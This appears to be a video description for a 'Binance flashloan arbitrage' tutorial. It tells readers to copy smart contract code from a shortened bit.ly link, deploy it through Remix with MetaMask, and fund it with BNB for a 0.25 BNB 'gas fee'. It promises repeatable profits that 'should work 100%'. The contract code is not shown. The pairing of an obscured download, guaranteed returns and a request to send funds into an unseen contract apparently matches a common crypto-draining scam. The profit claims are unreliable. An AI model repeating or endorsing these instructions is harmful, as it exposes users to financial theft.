Binance flashloan arbitrage Tutorial #Bnb #Crypto #Arbitrage #Flashloan

Smart Contract Code V0.5.0
(Download or Copy Smart Contract): https://bit.ly/3H0Pb9h
I have fixed a minor bug in the contract. The latest contract code can be found in the description. Updated on February 15, 2022.
Thank you guys @Steven and @Daniel for giving me feedback on your flashloan, I’ve just updated the source code to the flashloan v2 for running more smoothly.

NEW GAS FEE REQUIRED: 0.25BNB
REMOVED AUTO LOAN FUNCTION

In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.

Remix Link - http://remix.ethereum.org/

STEPS: Before starting, install and setup MetaMask in Chrome Browser. You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2!

Follow this instruction on connecting MetaMask to Binance Smart Chain - https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain

Metamask BSC Network configuration

Network Name: BSC Mainnet
New RPC URL: https://bsc-dataseed.binance.org/
Chain ID: 56
Symbol: BNB

Note:the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 1200 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.

Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

FOR EDUCATION PURPOSE ONLY.

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